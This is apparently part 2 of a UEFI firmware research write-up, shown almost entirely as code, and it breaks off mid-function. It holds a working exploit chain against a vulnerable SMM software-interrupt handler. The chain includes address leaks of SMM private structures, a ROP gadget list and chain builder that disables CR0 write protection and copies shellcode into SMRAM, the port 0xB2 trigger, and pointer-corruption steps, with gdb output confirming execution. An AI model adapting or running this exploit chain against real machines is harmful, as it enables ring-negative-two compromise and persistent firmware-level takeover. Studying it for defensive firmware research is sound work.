SMM Part 2: Finding and Turning an Arbitrary Write into Full Code Execution

EFI_STATUS
EFIAPI
SwSmiHandler(
  IN EFI_HANDLE             DispatchHandle,
  IN CONST VOID             *Context,
  IN OUT EFI_SMM_SW_CONTEXT *CommBuffer,
  IN OUT UINTN              *CommBufferSize
  )
{
  UINTN  CpuIndex;
  UINT32 UserBufferLo;
  UINT32 UserBufferHi;
  VOID   *UserBuffer;

  CpuIndex = CommBuffer->SwSmiCpuIndex;
  Status_0 = 0;
  UserBufferHi = 0;
  UserBufferLo[0] = 0;
  if (CpuIndex == -1) {
    return EFI_SUCCESS;
  }
  gEfiSmmCpuProtocol->ReadSaveState (gEfiSmmCpuProtocol, 4, EFI_SMM_SAVE_STATE_REGISTER_RBX, CpuIndex, &UserBufferLo);
  gEfiSmmCpuProtocol->ReadSaveState (gEfiSmmCpuProtocol, 4, EFI_SMM_SAVE_STATE_REGISTER_RCX, CpuIndex, &UserBufferHi);
  UserBuffer = (VOID*)(UserBufferLo + (UINT64)(UserBufferHi << 32));
  switch (CommBuffer->CommandPort) {
    case 0x1Du:
      return SMI__LoadFwImage (UserBuffer);
    case 0x1Eu:
      return SMI__GetFlashPolicy (UserBuffer);
    case 0x1Fu:
      return SMI__SetFlashMethod (UserBuffer);
    default:
      if (CommBuffer->CommandPort == 0x88) {
        SMI__OemCommandArbitraryWriteFromFwVariable (UserBuffer);
      }
      return EFI_SUCCESS;
  }
}

EFI_STATUS
SMI__OemCommandArbitraryWriteFromFwVariable(
  IN UINT64 UserBuffer
  )
{
  EFI_STATUS Status;
  EFI_GUID   VendorGuid;
  UINT8      Data[0x1138];
  UINTN      DataSize;

  VendorGuid = (EFI_GUID){ ... };
  DataSize = 0x1124;
  Status = gRT->GetVariable (L"Redacted", &VendorGuid, 0, &DataSize, Data);
  if (Status >= 0) {
    *(UINT64 *)(UserBuffer + 0x103) = *(UINT64 *)&Data[0x1116];
  }
  return Status;
}

///
/// Signature for the private structure shared between the SMM IPL and the SMM Core
///
#define SMM_CORE_PRIVATE_DATA_SIGNATURE SIGNATURE_32 ('s', 'm', 'm', 'c')

///
/// Private structure that is used to share information between the SMM IPL and
/// the SMM Core.  This structure is allocated from memory of type EfiRuntimeServicesData.
/// Since runtime memory types are converted to available memory when a legacy boot
/// is performed, the SMM Core must not access any fields of this structure if a legacy
/// boot is performed.  As a result, the SMM IPL must create an event notification
/// for the Legacy Boot event and notify the SMM Core that a legacy boot is being
/// performed.  The SMM Core can then use this information to filter accesses to
/// this structure.
///
typedef struct {
  UINTN                   Signature;

  ///
  /// The ImageHandle passed into the entry point of the SMM IPL.  This ImageHandle
  /// is used by the SMM Core to fill in the ParentImageHandle field of the Loaded
  /// Image Protocol for each SMM Driver that is dispatched by the SMM Core.
  ///
  EFI_HANDLE              SmmIplImageHandle;

  ///
  /// The number of SMRAM ranges passed from the SMM IPL to the SMM Core.  The SMM
  /// Core uses these ranges of SMRAM to initialize the SMM Core memory manager.
  ///
  UINTN                   SmramRangeCount;

  ///
  /// A table of SMRAM ranges passed from the SMM IPL to the SMM Core.  The SMM
  /// Core uses these ranges of SMRAM to initialize the SMM Core memory manager.
  ///
  EFI_SMRAM_DESCRIPTOR    *SmramRanges;

  ///
  /// The SMM Foundation Entry Point.  The SMM Core fills in this field when the
  /// SMM Core is initialized.  The SMM IPL is responsible for registering this entry
  /// point with the SMM Configuration Protocol.  The SMM Configuration Protocol may
  /// not be available at the time the SMM IPL and SMM Core are started, so the SMM IPL
  /// sets up a protocol notification on the SMM Configuration Protocol and registers
  /// the SMM Foundation Entry Point as soon as the SMM Configuration Protocol is
  /// available.
  ///
  EFI_SMM_ENTRY_POINT      SmmEntryPoint;

  ///
  /// Boolean flag set to TRUE while an SMI is being processed by the SMM Core.
  ///
  BOOLEAN                  SmmEntryPointRegistered;

  ///
  /// Boolean flag set to TRUE while an SMI is being processed by the SMM Core.
  ///
  BOOLEAN                  InSmm;

  ///
  /// This field is set by the SMM Core then the SMM Core is initialized.  This field is
  /// used by the SMM Base 2 Protocol and SMM Communication Protocol implementations in
  /// the SMM IPL.
  ///
  EFI_SMM_SYSTEM_TABLE2    *Smst;

  ///
  /// This field is used by the SMM Communication Protocol to pass a buffer into
  /// a software SMI handler and for the software SMI handler to pass a buffer back to
  /// the caller of the SMM Communication Protocol.
  ///
  VOID                     *CommunicationBuffer;

  ///
  /// This field is used by the SMM Communication Protocol to pass the size of a buffer,
  /// in bytes, into a software SMI handler and for the software SMI handler to pass the
  /// size, in bytes, of a buffer back to the caller of the SMM Communication Protocol.
  ///
  UINTN                    BufferSize;

  ///
  /// This field is used by the SMM Communication Protocol to pass the return status from
  /// a software SMI handler back to the caller of the SMM Communication Protocol.
  ///
  EFI_STATUS               ReturnStatus;

  EFI_PHYSICAL_ADDRESS     PiSmmCoreImageBase;
  UINT64                   PiSmmCoreImageSize;
  EFI_PHYSICAL_ADDRESS     PiSmmCoreEntryPoint;
} SMM_CORE_PRIVATE_DATA;

  //
  // SMM Base 2 Protocol instance
  //
  EFI_SMM_BASE2_PROTOCOL mSmmBase2 = {
    SmmBase2InSmram,
    SmmBase2GetSmstLocation
  };

  // ...

  //
  // Install SMM Base2 Protocol and SMM Communication Protocol
  //
  Status = gBS->InstallMultipleProtocolInterfaces (
                  &mSmmIplHandle,
                  &gEfiSmmBase2ProtocolGuid,
                  &mSmmBase2,
                  &gEfiSmmCommunicationProtocolGuid,
                  &mSmmCommunication,
                  &gEfiMmCommunication2ProtocolGuid,
                  &mMmCommunication2,
                  &gEfiMmCommunication3ProtocolGuid,
                  &mMmCommunication3,
                  NULL
                  );

EFI_STATUS
EFIAPI
SmmBase2InSmram (
  IN CONST EFI_SMM_BASE2_PROTOCOL *This,
  OUT      BOOLEAN                *InSmram
  )
{
  if (InSmram == NULL) {
    return EFI_INVALID_PARAMETER;
  }
  *InSmram = gSmmCorePrivate->InSmm;
  return EFI_SUCCESS;
}

EFI_STATUS
PocFindSmmCorePrivateData(
  OUT SMM_CORE_PRIVATE_DATA **ppCorePrivateData
  )
{
  EFI_STATUS             Status;
  UINT8*                 SmmBase2InSmramCode;
  INT32                  InSmmDisp;
  UINTN                  InSmmAbs;
  SMM_CORE_PRIVATE_DATA* CorePrivateData;

  //
  // Find the shared DXE SMM_BASE2 protocol implemented by PiSmmIpl.
  //
  if (EFI_ERROR (Status = gBS->LocateProtocol (&gEfiSmmBase2ProtocolGuid, NULL, (VOID**)&SmmBase2))) {
    return Status;
  }

  //
  // Pull out the REL32 displacement of the accessed InSmm field and calculate the absolute address of the core private data.
  // +13h | 8A 05 [70 61 00 00] | mov al, cs:byte_7189
  //
  SmmBase2InSmramCode = (UINT8*)SmmBase2->GetSmstLocation;
  InSmmDisp = *(INT32*)&SmmBase2InSmramCode[0x13 + 2];
  InSmmAbs = (((UINT64)SmmBase2InSmramCode + 0x19) + InSmmDisp);
  CorePrivateData = (VOID*)(InSmmAbs - OFFSET_OF(SMM_CORE_PRIVATE_DATA, InSmm));
  if (CorePrivateData->Signature != SMM_CORE_PRIVATE_DATA_SIGNATURE) {
    return EFI_NOT_FOUND;
  }
  *ppCorePrivateData = CorePrivateData;
  return EFI_SUCCESS;
}

//
// Private structure for the SMM CPU module that is stored in DXE Runtime memory
// Contains the SMM Configuration Protocols that is produced.
// Contains a mix of DXE and SMM contents.  All the fields must be used properly.
//
#define SMM_CPU_PRIVATE_DATA_SIGNATURE SIGNATURE_32 ('s', 'c', 'p', 'u')

typedef struct {
  UINTN                          Signature;

  EFI_HANDLE                     SmmCpuHandle;

  EFI_PROCESSOR_INFORMATION      *ProcessorInfo;
  SMM_CPU_OPERATION              *Operation;
  UINTN                          *CpuSaveStateSize;
  VOID                           **CpuSaveState;

  EFI_SMM_RESERVED_SMRAM_REGION  SmmReservedSmramRegion[1];
  EFI_SMM_ENTRY_CONTEXT          SmmCoreEntryContext;
  EFI_SMM_ENTRY_POINT            SmmCoreEntry;

  EFI_SMM_CONFIGURATION_PROTOCOL SmmConfiguration;

  PROCEDURE_WRAPPER              *ApWrapperFunc;
  LIST_ENTRY                     TokenList;
  LIST_ENTRY                     *FirstFreeToken;
} SMM_CPU_PRIVATE_DATA;

EFI_STATUS
EFIAPI
PiCpuSmmEntry (
  IN EFI_HANDLE       ImageHandle,
  IN EFI_SYSTEM_TABLE *SystemTable
  )
{
  // ...

  //
  // Install the SMM Configuration Protocol onto a new handle on the handle database.
  // The entire SMM Configuration Protocol is allocated from SMRAM, so only a pointer
  // to an SMRAM address will be present in the handle database
  //
  Status = SystemTable->BootServices->InstallMultipleProtocolInterfaces (
                                        &gSmmCpuPrivate->SmmCpuHandle,
                                        &gEfiSmmConfigurationProtocolGuid,
                                        &gSmmCpuPrivate->SmmConfiguration,
                                        NULL
                                        );

 // ...
}

EFI_STATUS
PocFindSmmCpuPrivateData(
  OUT UINT64 *pSmmCpuPrivateData,
  OUT UINT64 *pPiSmmCpuDxeSmmImageBase OPTIONAL
  )
{
  EFI_STATUS Status;
  VOID*      SmmConfiguration;

  //
  // Find the SMM configuration protocol (note: points to an inaccessible SMRAM address).
  //
  if (EFI_ERROR (Status = gBS->LocateProtocol (&gEfiSmmConfigurationProtocolGuid, NULL, &SmmConfiguration))) {
    return Status;
  }

  //
  // The SMM configuration protocol is registered to point to a field within the SMM private CPU data structure.
  // We can use this to discover the address of gSmmCpuPrivate.
  // Status = SystemTable->BootServices->InstallMultipleProtocolInterfaces (
  //                                  &gSmmCpuPrivate->SmmCpuHandle,
  //                                  &gEfiSmmConfigurationProtocolGuid,
  //                                  &gSmmCpuPrivate->SmmConfiguration,
  //                                  NULL );
  //
  *pSmmCpuPrivateData = ((UINT64)SmmConfiguration - OFFSET_OF(SMM_CPU_PRIVATE_DATA, SmmConfiguration));
  if (pPiSmmCpuDxeSmmImageBase != NULL) {
    *pPiSmmCpuDxeSmmImageBase = (*pSmmCpuPrivateData - 0x17220);
  }
  return EFI_SUCCESS;
}

0x00000000000011dd : mov cr0, rax › ret
0x0000000000010833 : mov cr0, rbx › retf
0x000000000000d7ac : mov cr3, rax › ret
0x0000000000010bc1 : mov cr4, rax › ret

0x00000000000125b3 : mov qword ptr [rcx + 0x10], rax › ret
0x0000000000001242 : mov qword ptr [rcx + 0x40], r8 › ret
0x0000000000010a59 : mov qword ptr [rcx - 8], rax › ret
0x000000000000f2ba : mov qword ptr [rcx], rdx › xor eax, eax › ret
0x0000000000001208 : mov qword ptr [rdx], rax › xor eax, eax › ret

0x0000000000005273 : pop rax › adc byte ptr [rax + 1], cl › retf 0x8d4c
0x000000000000a6b8 : pop rax › cli › shr ax, 9 › and eax, 1 › ret
0x000000000000a6a4 : pop rax › cmp eax, 0x39480001 › ret 0x475
0x000000000000a645 : pop rax › pop rbx › pop rsi › pop rdi › pop rbp › ret
0x0000000000010cac : pop rax › pop rbx › ret
0x0000000000010bfa : pop rax › pop rdi › ret

0x0000000000010fbc : pop rdx › pop rcx › pop rbx › ret

0x0000000000010bfa : pop rax › pop rdi › ret
0x00000000000011dd : mov cr0, rax › ret
0x0000000000010fbc : pop rdx › pop rcx › pop rbx › ret
0x000000000000f2ba : mov qword ptr [rcx], rdx › xor eax, eax › ret

VOID
BSPHandler (
  IN UINTN            CpuIndex,
  IN MM_CPU_SYNC_MODE SyncMode
  )
{
  // ...

  //
  // Invoke SMM Foundation EntryPoint with the processor information context.
  //
  gSmmCpuPrivate->SmmCoreEntry (&gSmmCpuPrivate->SmmCoreEntryContext);
}

typedef struct {
  // UINTN                             Signature;
  // EFI_HANDLE                        SmmCpuHandle;
  // EFI_PROCESSOR_INFORMATION         *ProcessorInfo;
  // SMM_CPU_OPERATION                 *Operation;
  // UINTN                             *CpuSaveStateSize;
  // VOID                              **CpuSaveState;
  // EFI_SMM_RESERVED_SMRAM_REGION     SmmReservedSmramRegion[1];
  EFI_SMM_ENTRY_CONTEXT                SmmCoreEntryContext;
  EFI_SMM_ENTRY_POINT                  SmmCoreEntry;
  EFI_SMM_CONFIGURATION_PROTOCOL       SmmConfiguration;
  PROCEDURE_WRAPPER                    *ApWrapperFunc;
  LIST_ENTRY                           TokenList;
  LIST_ENTRY                           *FirstFreeToken;
} SMM_CPU_PRIVATE_DATA_CORE_ENTRY_CONTEXT;

mov     rbx,      [rcx+SMM_CPU_PRIVATE_DATA_CORE_ENTRY.SmmCoreEntryContext.SmmStartupThisAp]
mov     rsp,      [rcx+SMM_CPU_PRIVATE_DATA_CORE_ENTRY.SmmCoreEntryContext.CurrentlyExecutingCpu]
mov     rbp,      [rcx+SMM_CPU_PRIVATE_DATA_CORE_ENTRY.SmmCoreEntryContext.NumberOfCpus]
mov     rdi,      [rcx+SMM_CPU_PRIVATE_DATA_CORE_ENTRY.SmmCoreEntryContext.CpuSaveStateSize]
mov     rsi,      [rcx+SMM_CPU_PRIVATE_DATA_CORE_ENTRY.SmmCoreEntryContext.CpuSaveState]
mov     r12,      [rcx+SMM_CPU_PRIVATE_DATA_CORE_ENTRY.SmmCoreEntry]
mov     r13,      [rcx+SMM_CPU_PRIVATE_DATA_CORE_ENTRY.SmmConfiguration.SmramReservedRegions]
mov     r14,      [rcx+SMM_CPU_PRIVATE_DATA_CORE_ENTRY.SmmConfiguration.RegisterSmmEntry]
mov     r15,      [rcx+SMM_CPU_PRIVATE_DATA_CORE_ENTRY.ApWrapperFunc]
ldmxcsr dword ptr [rcx+SMM_CPU_PRIVATE_DATA_CORE_ENTRY.TokenList.BackLink]
movdqu  xmm6,     xmmword ptr [rcx+58h]
movdqu  xmm7,     xmmword ptr [rcx+68h]
movdqu  xmm8,     xmmword ptr [rcx+78h]
movdqu  xmm9,     xmmword ptr [rcx+88h]
movdqu  xmm10,    xmmword ptr [rcx+98h]
movdqu  xmm11,    xmmword ptr [rcx+0A8h]
movdqu  xmm12,    xmmword ptr [rcx+0B8h]
movdqu  xmm13,    xmmword ptr [rcx+0C8h]
movdqu  xmm14,    xmmword ptr [rcx+0D8h]
movdqu  xmm15,    xmmword ptr [rcx+0E8h]
mov     rax,      rdx
jmp     [rcx+SMM_CPU_PRIVATE_DATA_CORE_ENTRY.TokenList.ForwardLink]

  //
  // Set running processor index
  //
  gSmmCpuPrivate->SmmCoreEntryContext.CurrentlyExecutingCpu = CpuIndex;

  // ...

  //
  // Invoke SMM Foundation EntryPoint with the processor information context.
  //
  gSmmCpuPrivate->SmmCoreEntry (&gSmmCpuPrivate->SmmCoreEntryContext);

.text:00000000000169E0 52 65 73 65 72 76 65 64 00 aReserved       db 'Reserved',0         ; DATA XREF: sub_ED26+1A↑o
.text:00000000000169E9 23 44 45 20 2D 20 44 69 76 aDeDivideError  db '#DE - Divide Error',0
.text:00000000000169E9 69 64 65 20 45 72 72 6F 72…                                        ; DATA XREF: .data:off_173A0↓o
.text:00000000000169FC 23 44 42 20 2D 20 44 65 62…aDbDebug        db '#DB - Debug',0      ; DATA XREF: .data:00000000000173A8↓o
.text:0000000000016A08 4E 4D 49 20 49 6E 74 65 72…aNmiInterrupt   db 'NMI Interrupt',0    ; DATA XREF: .data:00000000000173B0↓o
.text:0000000000016A16 23 42 50 20 2D 20 42 72 65…aBpBreakpoint   db '#BP - Breakpoint',0 ; DATA XREF: .data:00000000000173B8↓o
.text:0000000000016A27 23 4F 46 20 2D 20 4F 76 65…aOfOverflow     db '#OF - Overflow',0   ; DATA XREF: .data:00000000000173C0↓o
.text:0000000000016A36 23 42 52 20 2D 20 42 4F 55 aBrBoundRangeEx db '#BR - BOUND Range Exceeded',0
.text:0000000000016A36 4E 44 20 52 61 6E 67 65 20…                                        ; DATA XREF: .data:00000000000173C8↓o
.text:0000000000016A51 23 55 44 20 2D 20 49 6E 76 aUdInvalidOpcod db '#UD - Invalid Opcode',0
.text:0000000000016A51 61 6C 69 64 20 4F 70 63 6F…                                        ; DATA XREF: .data:00000000000173D0↓o
.text:0000000000016A66 23 4E 4D 20 2D 20 44 65 76 aNmDeviceNotAva db '#NM - Device Not Available',0
.text:0000000000016A66 69 63 65 20 4E 6F 74 20 41…                                        ; DATA XREF: .data:00000000000173D8↓o
.text:0000000000016A81 23 44 46 20 2D 20 44 6F 75 aDfDoubleFault  db '#DF - Double Fault',0
.text:0000000000016A81 62 6C 65 20 46 61 75 6C 74…                                        ; DATA XREF: .data:00000000000173E0↓o
.text:0000000000016A94 43 6F 70 72 6F 63 65 73 73 aCoprocessorSeg db 'Coprocessor Segment Overrun',0
.text:0000000000016A94 6F 72 20 53 65 67 6D 65 6E…                                        ; DATA XREF: .data:00000000000173E8↓o
.text:0000000000016AB0 23 54 53 20 2D 20 49 6E 76 aTsInvalidTss   db '#TS - Invalid TSS',0
.text:0000000000016AB0 61 6C 69 64 20 54 53 53 00                                         ; DATA XREF: .data:00000000000173F0↓o
.text:0000000000016AC2 23 4E 50 20 2D 20 53 65 67 aNpSegmentNotPr db '#NP - Segment Not Present',0
.text:0000000000016AC2 6D 65 6E 74 20 4E 6F 74 20…                                        ; DATA XREF: .data:00000000000173F8↓o
.text:0000000000016ADC 23 53 53 20 2D 20 53 74 61 aSsStackFaultFa db '#SS - Stack Fault Fault',0
.text:0000000000016ADC 63 6B 20 46 61 75 6C 74 20…                                        ; DATA XREF: .data:0000000000017400↓o
.text:0000000000016AF4 23 47 50 20 2D 20 47 65 6E aGpGeneralProte db '#GP - General Protection',0
; ...

static
VOID
PocBuildCoreRopChain(
  OUT UINT64      *Stack,
  IN  POC_GADGETS *Gadgets,
  IN  UINT64      Stage2Address,
  IN  const UINT8 *Stage2Shellcode,
  IN  UINTN       Stage2ShellcodeSize
  )
{
  UINT64 StackIndex;
  UINTN  i;
  UINT64 CopyWord;
  UINT64 CopyByteCount;
  UINTN  j;

  //
  // Build required cleanup for the RBP to RSP stack pivot gadget that will lead to this code.
  //
  StackIndex = 0;
  Stack[StackIndex++] = ~0ull;
  Stack[StackIndex++] = ~0ull;
  Stack[StackIndex++] = ~0ull;

  //
  // Build memory write protection disable.
  //
  Stack[StackIndex++] = Gadgets->PopRaxRdi;              // pop rax ; pop rdi ; ret 
  Stack[StackIndex++] = (0x80010033ull & ~(1ull << 16)); // RAX: New CR0 value.
  Stack[StackIndex++] = ~0ull;                           // RDI: Placeholder.
  Stack[StackIndex++] = Gadgets->MovCr0Rax;              // mov cr0, rax ; ret

  //
  // Build shellcode memory copy.
  //
  for (i = 0; i < ((Stage2ShellcodeSize + 7) / 8); i++) {
    CopyWord = 0;
    CopyByteCount = MIN (8, (Stage2ShellcodeSize - (i*8)));
    for (j = 0; j < CopyByteCount; j++) {
      CopyWord |= ((UINT64)Stage2Shellcode[(i*8)+j] << (j*8));
    }
    Stack[StackIndex++] = Gadgets->PopRdxRcxRbx;   // pop rdx ; pop rcx ; pop rbx ; ret
    Stack[StackIndex++] = CopyWord;                // RDX: 8 byte word of shellcode to copy to destination.
    Stack[StackIndex++] = (Stage2Address + (i*8)); // RCX: Word copy destination address.
    Stack[StackIndex++] = ~0ull;                   // RBX: Placeholder.
    Stack[StackIndex++] = Gadgets->MovMemRcxRdx;   // mov qword ptr [rcx], rdx ; xor eax, eax ; ret
  }

  //
  // The final return address to return to after the last gadget.
  //
  Stack[StackIndex++] = Stage2Address;
}

static
EFI_STATUS
PocFindCommunicationBuffer(
  IN  UINTN MinimalSize,
  OUT VOID  **ppBuffer
  )
{
  EFI_STATUS                               Status;
  EDKII_PI_SMM_COMMUNICATION_REGION_TABLE *CommRegionTable;
  EFI_MEMORY_DESCRIPTOR                   *Entry;
  UINTN                                    Size;
  UINT32                                   Index;  

  //
  // Locate the SMM communication region table.
  //
  Status = EfiGetSystemConfigurationTable (&gEdkiiPiSmmCommunicationRegionTableGuid, (VOID**)&CommRegionTable);
  if (EFI_ERROR (Status)) {
    return Status;
  }

  //
  // Attempt to locate a communication region large enough for our command buffer.
  //
  Entry = (EFI_MEMORY_DESCRIPTOR *)(CommRegionTable + 1);
  Size  = 0;
  for (Index = 0; Index < CommRegionTable->NumberOfEntries; Index++) {
    if (Entry->Type == EfiConventionalMemory) {
      Size = EFI_PAGES_TO_SIZE ((UINTN)Entry->NumberOfPages);
      if (Size >= MinimalSize) {
        break;
      }
    }
    Entry = (EFI_MEMORY_DESCRIPTOR *)((UINT8 *)Entry + CommRegionTable->DescriptorSize);
  }
  
  //
  // Ensure that a communication region large enough to service this allocation was found.
  //
  if (Index >= CommRegionTable->NumberOfEntries) {
    return EFI_NOT_FOUND;
  }

  *ppBuffer = (VOID *)Entry->PhysicalStart;
  return EFI_SUCCESS;
}

; Trigger the arbitrary write SMI handler targeting the address passed through RCX.
PocSmmExecuteSmiArbitraryWriteInternal64 PROC
; Set up the target address parameters to the SMI handler.
; gEfiSmmCpuProtocol->ReadSaveState (gEfiSmmCpuProtocol, 4, EFI_SMM_SAVE_STATE_REGISTER_RBX, CpuIndex, &UserBufferLo);
; gEfiSmmCpuProtocol->ReadSaveState (gEfiSmmCpuProtocol, 4, EFI_SMM_SAVE_STATE_REGISTER_RCX, CpuIndex, &UserBufferHi);
; UserBuffer = (VOID*)(UserBufferLo + (UINT64)(UserBufferHi << 32));
  push rbx
  mov  ebx, ecx
  shr  rcx, 32
; Trigger the vulnerable SMI handler.
; if (CommBuffer->CommandPort == 0x88) {
;   SMI__OemCommandArbitraryWriteFromFwVariable (UserBuffer);
; }
  mov al, 88h
  out 0B2h, al
  pop rbx
  ret
PocSmmExecuteSmiArbitraryWriteInternal64 ENDP

VOID
PocSmmArbitraryWrite64(
  IN UINT64 TargetAddress,
  IN UINT64 Value
  )
{
  UINT8 Data[0x1124];
  UINTN i;

  //
  // Fill unused contents of the variable with a marker byte,
  // and update the portion that controls the arbitrary write value.
  // *(UINT64 *)(UserBuffer + 0x103) = *(UINT64 *)Data[0x1116];
  //
  for (i = 0; i < COUNT_OF (Data); i++) {
    Data[i] = 0xAC;
  }
  *(UINT64 *)&Data[0x1116] = Value;
  gRT->SetVariable (
    L"Redacted",
    &VendorGuid,
    EFI_VARIABLE_NON_VOLATILE |
    EFI_VARIABLE_BOOTSERVICE_ACCESS |
    EFI_VARIABLE_RUNTIME_ACCESS,
    sizeof (Data),
    Data
  );

  //
  // Trigger the actual buggy SMI with SW dispatch2 SMI index 0x88 with our target address in EBX|ECX.
  //
  PocSmmExecuteSmiArbitraryWriteInternal64 (TargetAddress - 0x103);
}

const UINT8 gPocSmmShellCode[] = {
  0xB8, 0xEF, 0xBE, 0xAD, 0xDE,
  0xF4,
  0xEB, 0xFD
};
#define POC_SMM_SHELLCODE_WORD_COUNT ((SIZE_OF (gPocSmmShellcode) + 7) / 8)
#define POC_SMM_STACK_WORD_COUNT ((7 + (5 * POC_SMM_SHELLCODE_WORD_COUNT) + 1) + 32)

EFI_STATUS
EFIAPI
PocEntry(
  IN EFI_HANDLE       ImageHandle,
  IN EFI_SYSTEM_TABLE *SystemTable
  )
{
  EFI_STATUS  Status;
  UINT64      SmmCpuPrivateDataPa;
  UINT64      PiSmmCpuDxeSmmImageBasePa;
  POC_GADGETS Gadgets;
  UINTN       CommBufferSize;
  VOID*       CommBuffer;
  UINT64      SmmCoreEntryPtrPa;
  UINT64      FinalSmmShellcodePa;

  //
  // Leak CPU private data and PiSmmCpuDxeSmm module image base.
  //
  if (EFI_ERROR (Status = PocFindSmmCpuPrivateData (&SmmCpuPrivateDataPa, &PiSmmCpuDxeSmmImageBasePa))) {
    return Status;
  }

  //
  // Build target gadget absolute physical addresses relative to the PiSmmCpuDxeSmm image base.
  //
  Gadgets = PocBuildGadgetList (PiSmmCpuDxeSmmImageBasePa);

  //
  // Attempt to find a shared communication buffer large enough to fit our entire exploit stack/payload.
  //
  CommBufferSize = (sizeof (UINT64) * (POC_SMM_STACK_WORD_COUNT + 1));
  Status = PocFindCommunicationBuffer (CommBufferSize, &CommBuffer);
  if (EFI_ERROR(Status)) {
    return Status;
  }

  //
  // Allocate a slot for a dummy MXCSR value at the end of the exploit stack communication buffer.
  //
  *((UINT64 *)CommBuffer + POC_SMM_STACK_WORD_COUNT) = 0;

  //
  // Calculate the absolute PA of the target function pointer to overwrite,
  // as well as the executable SMRAM address to copy our final shellcode to.
  //
  SmmCoreEntryPtrPa = (SmmCpuPrivateDataPa + OFFSET_OF (SMM_CPU_PRIVATE_DATA, SmmCoreEntry));
  FinalSmmShellcodePa = (PiSmmCpuDxeSmmImageBasePa + POC_CODECAVE_OFFSET_EXCEPTION_STR_LIST);

  //
  // Build our exploit stack/ROP chain at the start of our shared communication buffer.
  //
  PocBuildCoreRopChain (
    CommBuffer,
    &Gadgets,
    FinalSmmShellcodePa,
    gPocSmmShellCode,
    sizeof (gPocSmmShellCode)
  );

  //
  // Use the arbitrary write primitive to corrupt the SMM_CPU_PRIVATE_DATA_CORE_ENTRY.TokenList.ForwardLink field,
  // this field will be used as the new RIP to jump to when execution is passed to the InternalLongJump primitive.
  // We need to point this field to our initial stack pivot gadget that will change RSP to our exploit stack from RBP.
  // Note: For the initial test, we will point this value to a dead-loop gadget to ensure that all the initial setup is working.
  //
  PocSmmArbitraryWrite64 ( 
    SmmCpuPrivateDataPa + (OFFSET_OF (SMM_CPU_PRIVATE_DATA, TokenList) + OFFSET_OF (LIST_ENTRY, ForwardLink)),
    Gadgets.DeadLoop /* Gadgets.RbpToRspSub10h */
  );

  //
  // Corrupt the SMM_CPU_PRIVATE_DATA_CORE_ENTRY.TokenList.BackLink to contain a valid MXCSR value,
  // so that ldmxcsr does not fault upon execution of the InternalLongJump primitive.
  //
  PocSmmArbitraryWrite64 ( 
    SmmCpuPrivateDataPa + (OFFSET_OF (SMM_CPU_PRIVATE_DATA, TokenList) + OFFSET_OF (LIST_ENTRY, BackLink)),
    0
  );

  //
  // Corrupt the SMM_CPU_PRIVATE_DATA_CORE_ENTRY.SmmCoreEntryContext.NumberOfCpus field to point
  // to our new RSP value +0x10 to account for the arithmetic performed in the stack pivot gadget.
  // Note: Set to a magic value to verify execution in the initial test.
  //
  PocSmmArbitraryWrite64 ( 
    SmmCpuPrivateDataPa + (OFFSET_OF (SMM_CPU_PRIVATE_DATA, SmmCoreEntryContext) + OFFSET_OF (EFI_SMM_ENTRY_CONTEXT, NumberOfCpus)),
    0xdeadbeef /* ((UINT64)CommBuffer + 0x10) */
  );

  //
  // Corrupt the SmmCoreEntry field to point to our first InternalLongJump pivot primitive.
  //
  PocSmmArbitraryWrite64 ( 
    SmmCoreEntryPtrPa,
    (PiSmmCpuDxeSmmImageBasePa + POC_INTERNALLONGJUMP_OFFSET)
  );

  //
  // Trigger a dummy SMI to force dispatch through our corrupted SmmCoreEntry field, triggering the exploit chain.
  //
  PocSmmArbitraryWrite64 (0, 0);
  return EFI_SUCCESS;
}

(gdb) x/1i $rip
=> 0x7ffb9f1b:	jmp    0x7ffb9f1b
(gdb) info registers rbp
rbp            0xdeadbeef          0xdeadbeef

(gdb) info registers rip rax cr0
rip            0x7ffc5070          0x7ffc5070
rax            0xdeadbeef          3735928559
cr0            0x80000033          [ PG NE ET MP PE ]
(gdb) x/3i $rip-6
   0x7ffc506a:	mov    $0xdeadbeef,%eax
   0x7ffc506f:	hlt    
=> 0x7ffc5070:	jmp    0x7ffc506f

EFI_BOOT_SERVICES *PRIMITIVE__ControlledCallWithArgs_3()
{
  EFI_BOOT_SERVICES *Value;

  Value = gBS;
  if ( gBS )
  {
    Value = gBS->LocateProtocol;
    if ( Value )
    {
      Value = (Value)(&EFI_STATUS_CODE_RUNTIME_PROTOCOL_GUID, 0, &qword_1F250);
      if ( Value < 0 )
        qword_1F250 = 0;
    }
  }
  return Value;
}

EFI_STATUS
EFIAPI
PocEntry(
  IN EFI_HANDLE       ImageHandle,
  IN EFI_SYSTEM_TABLE *SystemTable
  )
{
  EFI_STATUS         Status;
  UINT64             SmmCpuPrivateDataPa;
  UINT64             PiSmmCpuDxeSmmImageBasePa;
  POC_GADGETS        Gadgets;
  UINTN              CommBufferSize;
  VOID*              CommBuffer;
  UINT64             SmmCoreEntryPtrPa;
  UINT64             FinalSmmShellcodePa;
  UINTN              ExploitStackPa;
  EFI_BOOT_SERVICES* ExploitBsObject;
  UINT64             LongJumpContextPa;

  //
  // Leak CPU private data and PiSmmCpuDxeSmm module image base.
  //
  if (EFI_ERROR (Status = PocFindSmmCpuPrivateData (&SmmCpuPrivateDataPa, &PiSmmCpuDxeSmmImageBasePa))) {
    return Status;
  }

  //
  // Build target gadget absolute physical addresses relative to the PiSmmCpuDxeSmm image base.
  //
  Gadgets = PocBuildGadgetList (PiSmmCpuDxeSmmImageBasePa);

  //
  // Attempt to find a shared communication buffer large enough to fit our entire exploit stack/payload.
  //
  CommBufferSize  = (sizeof (UINT64) * (POC_SMM_STACK_WORD_COUNT + 1));
  CommBufferSize += sizeof (EFI_BOOT_SERVICES);
  Status = PocFindCommunicationBuffer (CommBufferSize, &CommBuffer);
  if (EFI_ERROR(Status)) {
    return Status;
  }

  //
  // Allocate a slot for the dummy EFI_BOOT_SERVICES object at the end of the exploit stack communication buffer.
  //
  ExploitBsObject = (VOID *)((UINT64 *)ExploitStackPa + POC_SMM_STACK_WORD_COUNT + 1); 

  //
  // Calculate the absolute PA of the target function pointer to overwrite,
  // as well as the executable SMRAM address to copy our final shellcode to.
  //
  SmmCoreEntryPtrPa = (SmmCpuPrivateDataPa + OFFSET_OF (SMM_CPU_PRIVATE_DATA, SmmCoreEntry));
  FinalSmmShellcodePa = (PiSmmCpuDxeSmmImageBasePa + POC_CODECAVE_OFFSET_EXCEPTION_STR_LIST);

  //
  // Build our exploit stack/ROP chain at the start of our shared communication buffer.
  //
  PocBuildCoreRopChain (
    CommBuffer,
    &Gadgets,
    FinalSmmShellcodePa,
    gPocSmmShellCode,
    sizeof (gPocSmmShellCode)
  );

  //
